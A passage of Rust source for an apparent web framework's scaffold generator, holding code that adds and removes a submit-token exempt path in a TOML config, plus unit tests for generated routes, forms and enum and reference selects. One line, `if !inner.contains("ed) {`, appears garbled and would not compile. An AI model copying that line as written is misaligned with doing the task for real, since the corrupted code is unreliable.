// layout survive the edit. A config we can't parse is left untouched (and we
// claim no ownership) rather than risking corruption via raw string edits.
let mut doc = existing.parse::<DocumentMut>().ok()?;
// Navigate to — creating if absent — `[security.submit_token]`. A freshly
// created `[security]` parent is marked implicit so it renders as the dotted
// `[security.submit_token]` header (matching the hand-written convention)
// rather than emitting a bare, empty `[security]` table of its own.
let security_missing = !doc.as_table().contains_key("security");
let security = doc
.as_table_mut()
.entry("security")
.or_insert_with(|| Item::Table(Table::new()))
.as_table_mut()?;
if security_missing {
security.set_implicit(true);
}
let submit_token = security
.entry("submit_token")
.or_insert_with(|| Item::Table(Table::new()))
.as_table_mut()?;
// Get or create the `exempt_paths` array.
let array = submit_token
.entry("exempt_paths")
.or_insert_with(|| Item::Value(Value::Array(Array::new())))
.as_array_mut()?;
// Idempotent: if the prefix is already listed, return `None` so we don't
// claim ownership of (and later, on `autumn destroy`, delete) a preexisting,
// user-owned exemption.
if array.iter().any(|v| v.as_str() == Some(exempt.as_str())) {
return None;
}
array.push(exempt.as_str());
Some(doc.to_string())
}
/// Inverse of [`append_submit_token_exempt_to_toml`] (`autumn
/// destroy`, issue #1048): remove `/{plural}/{segment}` from
/// `[security.submit_token] exempt_paths`, dropping the whole block if that
/// leaves an empty freshly-generated `exempt_paths = [...]` as its only key.
///
/// Conservative: only touches an `exempt_paths` array that still contains the
/// exact prefix this generator inserts, never a hand-edited value.
pub(super) fn remove_submit_token_exempt_from_toml(
existing: &str,
plural: &str,
segment: &str,
) -> String {
const HEADER: &str = "[security.submit_token]";
let exempt = submit_token_exempt_prefix(plural, segment);
let quoted = format!("\"{exempt}\"");
let lines: Vec<&str> = existing.lines().collect();
let Some((start, end)) = toml_table_block_range(&lines, HEADER) else {
return existing.to_owned();
};
let Some(key_idx) = lines[start + 1..end]
.iter()
.position(|l| l.trim_start().starts_with("exempt_paths"))
.map(|rel| start + 1 + rel)
else {
return existing.to_owned();
};
let close_idx = (key_idx..end)
.find(|&i| lines[i].contains(']'))
.unwrap_or(key_idx);
let joined: String = lines[key_idx..=close_idx].join("\n");
let (Some(open), Some(close)) = (joined.find('['), joined.rfind(']')) else {
return existing.to_owned();
};
let inner = &joined[open + 1..close];
if !inner.contains("ed) {
return existing.to_owned();
}
// Strip our element from the array's comma-separated items.
let remaining: Vec<String> = inner
.split(',')
.map(str::trim)
.filter(|item| !item.is_empty() && *item != quoted)
.map(str::to_owned)
.collect();
let mut out_lines: Vec<String> = lines.iter().map(|l| (*l).to_owned()).collect();
if remaining.is_empty() {
// The block only carried our exempt_paths line — remove the key, and the
// whole table too if the key was its sole content.
let block_only_our_key = (start + 1..end).all(|i| {
i == key_idx || (key_idx..=close_idx).contains(&i) || lines[i].trim().is_empty()
});
if block_only_our_key {
out_lines.splice(start..end, std::iter::empty::<String>());
} else {
out_lines.splice(key_idx..=close_idx, std::iter::empty::<String>());
}
} else {
let rebuilt = format!(
"{}[{}]{}",
&joined[..open],
remaining.join(", "),
&joined[close + 1..]
);
out_lines.splice(key_idx..=close_idx, std::iter::once(rebuilt));
}
let mut out = out_lines.join("\n");
// Collapse any doubled blank lines left by removing the block.
while out.contains("\n\n\n") {
out = out.replace("\n\n\n", "\n\n");
}
if existing.ends_with('\n') && !out.ends_with('\n') {
out.push('\n');
}
out
}
#[cfg(test)]
// Test inputs like `"slug:slug{from:title}"` / `"post:references{label:title}"`
// are literal DSL tokens, not format strings — the `{…}` is the scaffold's
// own constraint-modifier syntax under test.
#[allow(clippy::literal_string_with_formatting_args)]
mod tests {
use super::*;
use crate::generate::Flags;
use crate::generate::dsl::FieldConstraints;
use std::fs;
use tempfile::TempDir;
fn project_with_main(template: &str) -> TempDir {
let tmp = TempDir::new().unwrap();
fs::write(tmp.path().join("Cargo.toml"), "[package]\nname=\"x\"\n").unwrap();
fs::create_dir_all(tmp.path().join("src")).unwrap();
fs::write(tmp.path().join("src/main.rs"), template).unwrap();
tmp
}
/// Write a minimal existing `src/models/<base>.rs` (i64-keyed) so a
/// `references` column targeting it counts as present — both for
/// `check_reference_targets`' warning and for the scaffold's
/// references→select promotion (issue #1135 AC 2), which needs the
/// target's schema entry to exist.
fn write_target_model(tmp: &TempDir, base: &str, pascal: &str) {
fs::create_dir_all(tmp.path().join("src/models")).unwrap();
fs::write(
tmp.path().join(format!("src/models/{base}.rs")),
format!(
"#[autumn_web::model]\npub struct {pascal} {{\n #[id]\n pub id: i64,\n}}\n"
),
)
.unwrap();
}
fn default_main() -> &'static str {
r#"use autumn_web::prelude::*;
pub fn layout(title: &str, current_path: &str, flash: maud::Markup, content: maud::Markup) -> maud::Markup {
let _ = (current_path, flash);
maud::html! {
title { (title) }
(content)
}
}
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#
}
/// A `src/main.rs` with no shared `pub fn layout` — used to exercise the
/// actionable error the scaffold generator raises when the target app has
/// no shared layout for the HTML views to render through (issue #1130).
fn main_without_layout() -> &'static str {
r#"use autumn_web::prelude::*;
#[get("/")]
async fn index() -> &'static str { "ok" }
#[autumn_web::main]
async fn main() {
autumn_web::app()
.routes(routes![index])
.run()
.await;
}
"#
}
/// Issue #1384: `generate scaffold` refuses a `{translatable}` column
/// rather than emit a CRUD form whose single text input would replace the
/// whole per-locale container on first save.
#[test]
fn plan_rejects_a_translatable_field_and_points_at_generate_model() {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["title:String{translatable}".into(), "body:Text".into()],
"20260427000000",
)
.unwrap_err()
.to_string();
assert!(err.contains("translatable"), "{err}");
assert!(err.contains("generate model"), "{err}");
assert!(err.contains("title"), "{err}");
}
/// The refusal is narrow: a scaffold with no translatable column is
/// unaffected (issue #1384 AC7).
#[test]
fn plan_still_accepts_a_scaffold_without_translatable_fields() {
let tmp = project_with_main(default_main());
assert!(
plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "body:Text".into()],
"20260427000000",
)
.is_ok()
);
}
#[test]
fn plan_creates_full_scaffold() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"body:Text".into(),
"published:bool".into(),
],
"20260427000000",
)
.unwrap();
let paths: Vec<String> = plan
.actions
.iter()
.map(|a| {
a.path()
.strip_prefix(&plan.project_root)
.unwrap()
.display()
.to_string()
// Normalize for cross-platform comparisons (Windows uses `\`).
.replace('\\', "/")
})
.collect();
for expected in [
"src/models/post.rs",
"src/models/mod.rs",
"migrations/20260427000000_create_posts/up.sql",
"migrations/20260427000000_create_posts/down.sql",
"src/schema.rs",
"src/repositories/post.rs",
"src/repositories/mod.rs",
"src/routes/posts.rs",
"src/routes/mod.rs",
"tests/post.rs",
"src/main.rs",
] {
assert!(
paths.iter().any(|p| p == expected),
"missing expected action for {expected}; got {paths:?}"
);
}
}
#[test]
fn generate_then_destroy_scaffold_round_trips_to_original_project_state() {
temp_env::with_vars(
[
("AUTUMN_DATABASE__PRIMARY_URL", None::<&str>),
("AUTUMN_DATABASE__URL", None::<&str>),
("DATABASE_URL", None::<&str>),
],
|| {
let tmp = project_with_main(default_main());
// Mirrors `autumn new`'s real template Cargo.toml (see
// `templates/Cargo.toml.tmpl`): `autumn-web`/`maud`/
// `diesel_migrations` and a `tokio` dev-dep with `rt`+`macros`
// already present, since a fresh project always ships them.
let cargo_path = tmp.path().join("Cargo.toml");
fs::write(
&cargo_path,
"[package]\nname = \"x\"\n\n\
[dependencies]\n\
autumn-web = \"0.6.0\"\n\
maud = { version = \"0.27\", features = [\"axum\"] }\n\
diesel_migrations = \"2\"\n\n\
[dev-dependencies]\n\
tokio = { version = \"1\", features = [\"rt\", \"macros\"] }\n",
)
.unwrap();
let main_path = tmp.path().join("src/main.rs");
let original_cargo = fs::read_to_string(&cargo_path).unwrap();
let original_main = fs::read_to_string(&main_path).unwrap();
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
assert!(tmp.path().join("src/models/post.rs").exists());
assert!(tmp.path().join("src/routes/posts.rs").exists());
let destroy_plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"99999999999999",
)
.unwrap();
destroy_plan.revert(Flags::default()).unwrap();
for gone in [
"src/models/post.rs",
"src/models/mod.rs",
"src/schema.rs",
"src/repositories/post.rs",
"src/repositories/mod.rs",
"src/routes/posts.rs",
"src/routes/mod.rs",
"tests/post.rs",
] {
assert!(!tmp.path().join(gone).exists(), "{gone} should be removed");
}
assert!(
fs::read_dir(tmp.path().join("migrations"))
.map_or(true, |mut d| d.next().is_none()),
"migration directory must be removed"
);
assert_eq!(fs::read_to_string(&main_path).unwrap(), original_main);
assert_eq!(fs::read_to_string(&cargo_path).unwrap(), original_cargo);
},
);
}
#[test]
fn plan_errors_when_main_rs_missing() {
// A genuinely absent `src/main.rs` (NotFound) surfaces the same
// actionable shared-layout Config error as a layout-less main.rs, rather
// than a raw Io "missing" error — it points the user at `autumn new` /
// `--api`. Non-NotFound io errors (e.g. PermissionDenied) still preserve
// their original `ErrorKind` via `GenerateError::Io`.
let tmp = TempDir::new().unwrap();
fs::write(tmp.path().join("Cargo.toml"), "").unwrap();
let err = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap_err();
match err {
GenerateError::Config(msg) => {
assert!(
msg.contains("pub fn layout") && msg.contains("autumn new"),
"missing main.rs must yield the actionable shared-layout error: {msg}"
);
}
other => panic!("expected an actionable Config error, got: {other:?}"),
}
}
#[test]
fn execute_writes_form_for_helper_with_formmodel_delegation() {
// Issue #1135: per-column control selection (and the required /
// `aria-required` signal issue #1124 guarded here) now lives in the
// `#[model]`-derived `FormModel` descriptors — the routes file
// delegates `PostForm`'s fields to the model's derived impl and
// renders the whole form through one shared `form_for` helper.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("impl autumn_web::form::FormModel for PostForm"),
"PostForm must implement FormModel: {routes}"
);
assert!(
routes.contains("<Post as autumn_web::form::FormModel>::form_fields()"),
"PostForm must delegate its descriptors to the derived model impl: {routes}"
);
assert!(routes.contains("fn post_form_for("), "{routes}");
assert!(
routes.contains("autumn_web::form::form_for(changeset, action, \"post\")"),
"the shared helper must render through form_for: {routes}"
);
assert!(
!routes.contains("autumn_web::form::required_text_input(&changeset"),
"no per-field input helpers may remain in the views: {routes}"
);
}
#[test]
fn execute_references_column_renders_select_with_loaded_options() {
// Issue #1135 AC 2: "references→select". The `#[model]` derive sees a
// plain `i64` and emits a number input; the scaffold overrides the
// reference to a `Select` whose options (the referenced table's ids)
// are loaded by every handler that renders the form and threaded
// through the shared `comment_form_for` helper. The `Post` target
// model exists, so the promotion applies (a missing target falls
// back to the derived number input — see
// `execute_references_column_with_missing_target_falls_back_to_number_input`).
let tmp = project_with_main(default_main());
write_target_model(&tmp, "post", "Post");
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
// The helper takes the loaded options and promotes the column.
assert!(
routes.contains("post_id_options: &[(String, String)],"),
"helper must take the reference options: {routes}"
);
assert!(
routes.contains(
"let mut post_id_select = vec![(String::new(), \"— Select —\".to_string())];"
),
"non-nullable reference must get a blank 'please select' placeholder: {routes}"
);
assert!(
routes.contains(
".override_field(\"post_id\", autumn_web::form::FieldControl::Select { options: post_id_select })"
),
"reference column must be promoted to a Select: {routes}"
);
// A shared loader queries the referenced table's ids.
assert!(
routes.contains(
"async fn post_id_select_options(db: &mut Db) -> AutumnResult<Vec<(String, String)>>"
),
"must emit an options loader: {routes}"
);
assert!(
routes.contains("posts::table") && routes.contains(".select(posts::id)"),
"loader must query the referenced table's ids: {routes}"
);
assert!(
routes.contains("use crate::schema::{comments, posts};"),
"referenced table's schema module must be imported: {routes}"
);
// Every rendering handler loads the options: new_form/edit_form GETs
// plus the create/update 422 re-render branches.
assert_eq!(
routes
.matches("let post_id_options = post_id_select_options(&mut db).await?;")
.count(),
4,
"new_form, edit_form, create 422, and update 422 must all load options: {routes}"
);
// `new_form` gains the DB handle it previously didn't need.
assert!(
routes.contains("pub async fn new_form(\n mut db: Db,"),
"new_form must take a DB handle to load reference options: {routes}"
);
// The helper call threads the options through.
assert!(
routes.contains(
"csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), &post_id_options))"
),
"view bodies must pass the loaded options to the helper: {routes}"
);
}
#[test]
fn execute_nullable_references_column_gets_unset_placeholder() {
let tmp = project_with_main(default_main());
write_target_model(&tmp, "post", "Post");
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["post:Option<references>".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
assert!(
routes.contains(
"let mut post_id_select = vec![(String::new(), \"— Unset —\".to_string())];"
),
"nullable reference must get an '— Unset —' placeholder: {routes}"
);
}
#[test]
fn execute_references_column_with_missing_target_falls_back_to_number_input() {
// Regression test (issue #1135 review): a missing reference target has
// always been a warning, not an error — the scaffold assumes the table
// exists out-of-band (or gets generated later) and its output must
// still compile. The references→select promotion needs the target's
// `src/schema.rs` entry, so with no `Post` model in the project the
// `post_id` column must skip the whole select pipeline (schema
// import, options loader, Select override, threaded options) and keep
// the derived numeric id input.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["body:Text".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
assert!(
routes.contains("use crate::schema::comments;"),
"only the resource's own schema module may be imported: {routes}"
);
assert!(
!routes.contains("posts::"),
"the missing target's schema module must never be referenced: {routes}"
);
assert!(
!routes.contains("post_id_select_options"),
"no options loader may be emitted for a missing target: {routes}"
);
assert!(
!routes.contains(".override_field(\"post_id\""),
"the column must keep the derived number input, not a Select: {routes}"
);
assert!(
!routes.contains("post_id_options"),
"the form helper must not take options for a missing target: {routes}"
);
// Without reference selects, `new_form` keeps its no-DB signature.
assert!(
!routes.contains("pub async fn new_form(\n mut db: Db,"),
"new_form must not gain a DB handle when no options are loaded: {routes}"
);
}
#[test]
fn execute_mixed_reference_targets_keeps_select_only_for_present_target() {
// One reference whose target exists (`author` → src/models/author.rs)
// and one whose target is missing (`post`): only the present target
// gets the select promotion; the missing one falls back to the
// derived number input and stays out of the schema import.
let tmp = project_with_main(default_main());
write_target_model(&tmp, "author", "Author");
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["author:references".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
assert!(
routes.contains("use crate::schema::{comments, authors};")
|| routes.contains("use crate::schema::{authors, comments};"),
"only the present target may join the schema import: {routes}"
);
assert!(
routes.contains(
".override_field(\"author_id\", autumn_web::form::FieldControl::Select { options: author_id_select })"
),
"the present target must keep its Select promotion: {routes}"
);
assert!(
routes.contains("async fn author_id_select_options"),
"the present target must keep its options loader: {routes}"
);
assert!(
!routes.contains("posts::") && !routes.contains("post_id_select_options"),
"the missing target must not produce select machinery: {routes}"
);
assert!(
!routes.contains(".override_field(\"post_id\""),
"the missing target's column must keep the derived number input: {routes}"
);
}
#[test]
fn commentable_scaffold_hints_an_audit_clean_comment_router_mount() {
// The generic comment router is a `nest`, which `autumn routes audit`
// cannot see into. The hint must pair it with the declaration that
// makes the mount enumerable, or the app it scaffolds fails its own
// CI audit step.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "comments:commentable".into()],
"20260427000000",
)
.unwrap();
let hint = plan
.warnings
.iter()
.find(|w| w.contains("commentable::router"))
.unwrap_or_else(|| panic!("no comment-router hint: {:?}", plan.warnings));
assert!(
hint.contains(
".declare_plugin_routes(autumn_web::commentable::route_infos(\"/comments\"))"
),
"{hint}"
);
}
#[test]
fn execute_self_referential_reference_keeps_select_without_target_model() {
// A self-referential column targets the scaffold's own table, whose
// schema entry this very command generates — it is never "missing",
// so the select promotion applies even though no `src/models/
// category.rs` exists beforehand.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Category",
&["name:String".into(), "category:references".into()],
"20260427000000",
)
.unwrap();
assert!(
plan.warnings.is_empty(),
"a self-reference must not warn: {:?}",
plan.warnings
);
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/categories.rs")).unwrap();
assert!(
routes.contains(
".override_field(\"category_id\", autumn_web::form::FieldControl::Select { options: category_id_select })"
),
"self-referential column must keep the Select promotion: {routes}"
);
assert!(
routes.contains("async fn category_id_select_options"),
"self-referential column must keep its options loader: {routes}"
);
assert!(
routes.contains("use crate::schema::categories;"),
"own table needs no extra schema import: {routes}"
);
}
#[test]
fn execute_writes_a_routes_file_referencing_model() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Non-`--live` scaffolds write updates through a raw diesel column
// tuple, never constructing `UpdatePost` — importing it unconditionally
// left every non-`--live` scaffold with an unused import (Onramp).
assert!(routes.contains("use crate::models::post::{Post, NewPost};"));
assert!(!routes.contains("UpdatePost"), "{routes}");
assert!(routes.contains("#[get(\"/posts\")]"));
assert!(routes.contains("#[get(\"/posts/{id}\")]"));
assert!(
!routes.contains("#[secured]\n#[get(\"/posts\")]"),
"index should be reachable by the five-command scaffold smoke test"
);
assert!(
!routes.contains("#[secured]\n#[get(\"/posts/{id}\")]"),
"read-only show pages should stay public when generated"
);
assert!(routes.contains("#[get(\"/posts/new\", name = \"new\")]"));
assert!(routes.contains("#[post(\"/posts\")]"));
assert!(routes.contains("#[get(\"/posts/{id}/edit\", name = \"edit\")]"));
// The HTML edit form posts to a regular `POST /posts/{id}/update`
// (browsers can't submit PUT natively); the JSON `PUT /api/posts/{id}`
// remains available via the auto-generated repository handler.
assert!(routes.contains("#[post(\"/posts/{id}/update\")]"));
assert!(routes.contains("pub async fn new_form("));
assert!(routes.contains("layout(\"New Post\""));
assert!(routes.contains("posts::title.eq(new.title.clone())"));
// `execute()` returns the affected row count — `Ok(0)` means the id
// didn't exist, and we must return 404 instead of redirecting as if
// the save succeeded. DB errors stay distinct from "not found".
assert!(routes.contains("if updated == 0"));
assert!(routes.contains("AutumnError::not_found_msg"));
// The HTML edit form must point at the new HTML update handler, not
// the JSON PUT endpoint — browsers cannot submit PUT without JS. The
// URL is emitted through the typed path helper (issue #1133).
assert!(routes.contains("paths::update(*id)"));
assert!(!routes.contains("/api/posts/{}\""));
// HTML handlers use POST for update and delete (browsers can't submit
// PUT or DELETE natively); `#[put(` and `#[delete(` appear only in the
// auto-generated JSON repository handlers, not in the HTML routes file.
assert!(!routes.contains("#[put("));
assert!(!routes.contains("#[delete("));
// The HTML delete route must be present and use POST (not DELETE).
assert!(routes.contains(r#"#[post("/posts/{id}/delete", name = "delete")]"#));
}
/// Companion to `execute_writes_a_routes_file_referencing_model`: a
/// `--live` scaffold's `update_stmt` DOES construct `Update{Model}`
/// (`render_update_changeset_expr`), so its import must stay — this is
/// the one branch `update_model_import` must render non-empty.
#[test]
fn live_scaffold_routes_file_imports_update_model() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
live: true,
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("use crate::models::post::{Post, NewPost, UpdatePost};"),
"{routes}"
);
assert!(routes.contains("UpdatePost {"), "{routes}");
}
/// A nullable field flips `is_nullable_form_field`'s body from a bare
/// `false` to a real `matches!` on its `name` argument — the parameter
/// must be named (not `_name`) in exactly this case, or the match arm
/// itself would not compile.
#[test]
fn scaffold_with_nullable_field_names_the_form_field_param() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "subtitle:Option<String>".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("fn is_nullable_form_field(name: &str) -> bool {"),
"{routes}"
);
assert!(routes.contains("matches!(name, \"subtitle\")"), "{routes}");
}
// ── enum field: form widgets, boundary validation, imports (issue #1030) ─
fn plan_and_execute_post_scaffold_with_status_enum(tmp: &TempDir) {
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:enum{draft,published,archived}".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
}
#[test]
fn scaffold_create_form_renders_enum_select() {
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Enum fields are promoted to a `Select` control via a `form_for`
// override (issue #1135) — the `#[model]` derive sees only an opaque
// Rust enum type, but the scaffold knows the variants statically and
// emits one `(value, label)` option per variant plus a leading
// placeholder. The selected option is chosen by the shipped
// `select_input` helper from the changeset's current value.
assert!(
routes.contains(
".override_field(\"status\", autumn_web::form::FieldControl::Select { options: vec![(\"\".into(), \"— Select —\".into()), (\"draft\".into(), \"Draft\".into()), (\"published\".into(), \"Published\".into()), (\"archived\".into(), \"Archived\".into())] })"
),
"got:\n{routes}"
);
}
#[test]
fn scaffold_edit_form_marks_current_enum_variant_selected() {
// The `From<&Post>` seed maps the persisted variant to its wire token,
// which `select_input` then marks selected in the edit form (issue
// #1124 — selection lives in the framework helper, not the template).
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("Status::Draft => \"draft\".to_string()"),
"got:\n{routes}"
);
assert!(
routes.contains("Status::Published => \"published\".to_string()"),
"got:\n{routes}"
);
}
#[test]
fn scaffold_form_parses_enum_with_field_error() {
// The enum field is a `String` on `PostForm`, parsed into the enum in
// `into_new` with a 400 naming the field on an out-of-set value.
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("pub status: String,"), "got:\n{routes}");
assert!(
routes.contains("form.status.parse::<Status>()"),
"got:\n{routes}"
);
assert!(
routes.contains("AutumnError::bad_request_msg(format!(\"status: {err}\"))"),
"got:\n{routes}"
);
}
#[test]
fn scaffold_routes_import_enum_type() {
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Non-`--live` (see `execute_writes_a_routes_file_referencing_model`):
// no `UpdatePost` import.
assert!(
routes.contains("use crate::models::post::{Post, NewPost, Status};"),
"got:\n{routes}"
);
}
#[test]
fn scaffold_update_columns_set_enum_directly() {
let tmp = project_with_main(default_main());
plan_and_execute_post_scaffold_with_status_enum(&tmp);
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("posts::status.eq(new.status.clone())"),
"got:\n{routes}"
);
}
#[test]
fn scaffold_default_enum_field_is_dropped_from_forms() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&[
"title:String".into(),
"status:enum{draft,published,archived}".into(),
],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
defaults: vec!["status=draft".into()],
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// A `--default` field is excluded from the derived `FormModel` list
// (the model marks it `#[default]`), so the scaffold must not emit a
// select override for it either — otherwise `form_for` would carry a
// dangling override for a field it never renders.
assert!(
!routes.contains(".override_field(\"status\""),
"a --default field must be excluded from the create/edit forms: {routes}"
);
}
#[test]
fn scaffold_query_on_enum_field_is_rejected() {
let tmp = project_with_main(default_main());
let err = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into(), "status:enum{draft,published}".into()],
"20260427000000",
&ScaffoldOptions {
queries: vec!["find_by_status:status".into()],
..Default::default()
},
)
.unwrap_err();
assert!(matches!(err, GenerateError::InvalidField { .. }));
}
#[test]
fn scaffold_enum_field_colliding_with_routes_import_is_rejected() {
// `path:enum{a,b}` would generate `use crate::models::post::{…, Path}`
// in routes.rs alongside the file's own `use autumn_web::extract::Path;`
// — two different types both named `Path`, which is E0252. Verified by
// generating this exact scaffold and observing the duplicate import.
for field_name in ["path", "page", "bytes", "flash", "db"] {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[format!("{field_name}:enum{{a,b}}")],
"20260427000000",
)
.unwrap_err();
assert!(
matches!(err, GenerateError::InvalidField { .. }),
"expected '{field_name}' to be rejected"
);
}
}
#[test]
fn scaffold_enum_field_named_to_string_is_rejected() {
// `to_string:enum{a,b}` pascalizes to `ToString`, imported into
// routes.rs; a nullable field of that type renders its edit-form
// value via `row.to_string.as_ref().map(ToString::to_string)`, an
// unqualified path expression that resolves to the enum instead of
// the prelude trait and fails to compile.
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["to_string:Option<enum{a,b}>".into()],
"20260427000000",
)
.unwrap_err();
assert!(matches!(err, GenerateError::InvalidField { .. }));
}
#[test]
fn scaffold_enum_field_named_changeset_is_rejected() {
// `changeset:enum{a,b}` pascalizes to `Changeset`, colliding with the
// `use autumn_web::form::{Changeset, IntoChangeset};` import every
// non-`--api` scaffold's routes file now carries (issue #1124) — a
// duplicate `Changeset`/`IntoChangeset` import fails with E0252,
// exactly like the pre-existing `Path`/`ToString` collisions above.
for field_name in ["changeset", "into_changeset"] {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[format!("{field_name}:enum{{a,b}}")],
"20260427000000",
)
.unwrap_err();
assert!(
matches!(err, GenerateError::InvalidField { .. }),
"expected '{field_name}' to be rejected"
);
}
}
#[test]
fn scaffold_enum_field_named_submit_token_is_rejected() {
// `submit_token:enum{a,b}` pascalizes to `SubmitToken` and
// `submit_form_field:enum{a,b}` to `SubmitFormField`, colliding with the
// `use autumn_web::security::{…, SubmitFormField, SubmitToken};` import
// every non-`--api` scaffold's routes file now carries (issue #1360) — a
// duplicate `SubmitToken`/`SubmitFormField` import fails with E0252,
// exactly like the `CsrfToken`/`Changeset` collisions above. Rejecting
// the field up front yields the actionable field-name error instead of a
// broken generated file.
for field_name in ["submit_token", "submit_form_field"] {
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&[format!("{field_name}:enum{{a,b}}")],
"20260427000000",
)
.unwrap_err();
assert!(
matches!(err, GenerateError::InvalidField { .. }),
"expected '{field_name}' to be rejected"
);
}
}
#[test]
fn scaffold_enum_field_colliding_with_generated_form_struct_is_rejected() {
// `post_form:enum{a,b}` on model `Post` pascalizes to `PostForm`,
// colliding with the scaffold's own generated `pub struct PostForm`
// changeset form (`render_model_form`, issue #1124) — a duplicate
// `PostForm` definition fails to compile, exactly like the
// fixed-name collisions above.
let tmp = project_with_main(default_main());
let err = plan_scaffold(
tmp.path(),
"Post",
&["post_form:enum{a,b}".into()],
"20260427000000",
)
.unwrap_err();
assert!(matches!(err, GenerateError::InvalidField { .. }));
}
#[test]
fn scaffold_enum_field_colliding_with_routes_import_is_accepted_for_api_only() {
// `--api` scaffolds never emit `src/routes/<plural>.rs`, so the
// routes-file reserved names don't apply.
let tmp = project_with_main(default_main());
plan_scaffold_with_options(
tmp.path(),
"Post",
&["path:enum{a,b}".into()],
"20260427000000",
&ScaffoldOptions {
api: true,
..Default::default()
},
)
.unwrap();
}
#[test]
fn scaffold_enum_field_named_redirect_is_accepted_and_routes_fully_qualify_redirect() {
// Regression (PR #1659): the routes file's write handlers issue real 303
// redirects. If the file imported the framework type via
// `use autumn_web::Redirect;`, a `redirect:enum{a,b}` field — which
// pascalizes to `Redirect` and is imported via
// `use crate::models::post::{…, Redirect}` — would produce two `Redirect`
// imports and fail with E0252. `Redirect` is deliberately NOT reserved
// (users may name a model/enum `Redirect`); instead the handlers
// fully-qualify the framework type as `autumn_web::Redirect`, so the enum
// field is accepted and both types coexist.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["redirect:enum{a,b}".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The model-side `Redirect` enum is imported — this is the type that
// would have collided with a framework `use autumn_web::Redirect;`.
assert!(
routes.contains("Redirect}"),
"expected the enum `Redirect` to be imported from crate::models: {routes}"
);
// The framework redirect is fully-qualified, never imported, so there is
// no duplicate import and no glob-shadowing.
assert!(
!routes.contains("use autumn_web::Redirect;"),
"routes must not import the framework Redirect (would collide): {routes}"
);
assert!(
routes.contains("autumn_web::Redirect::to("),
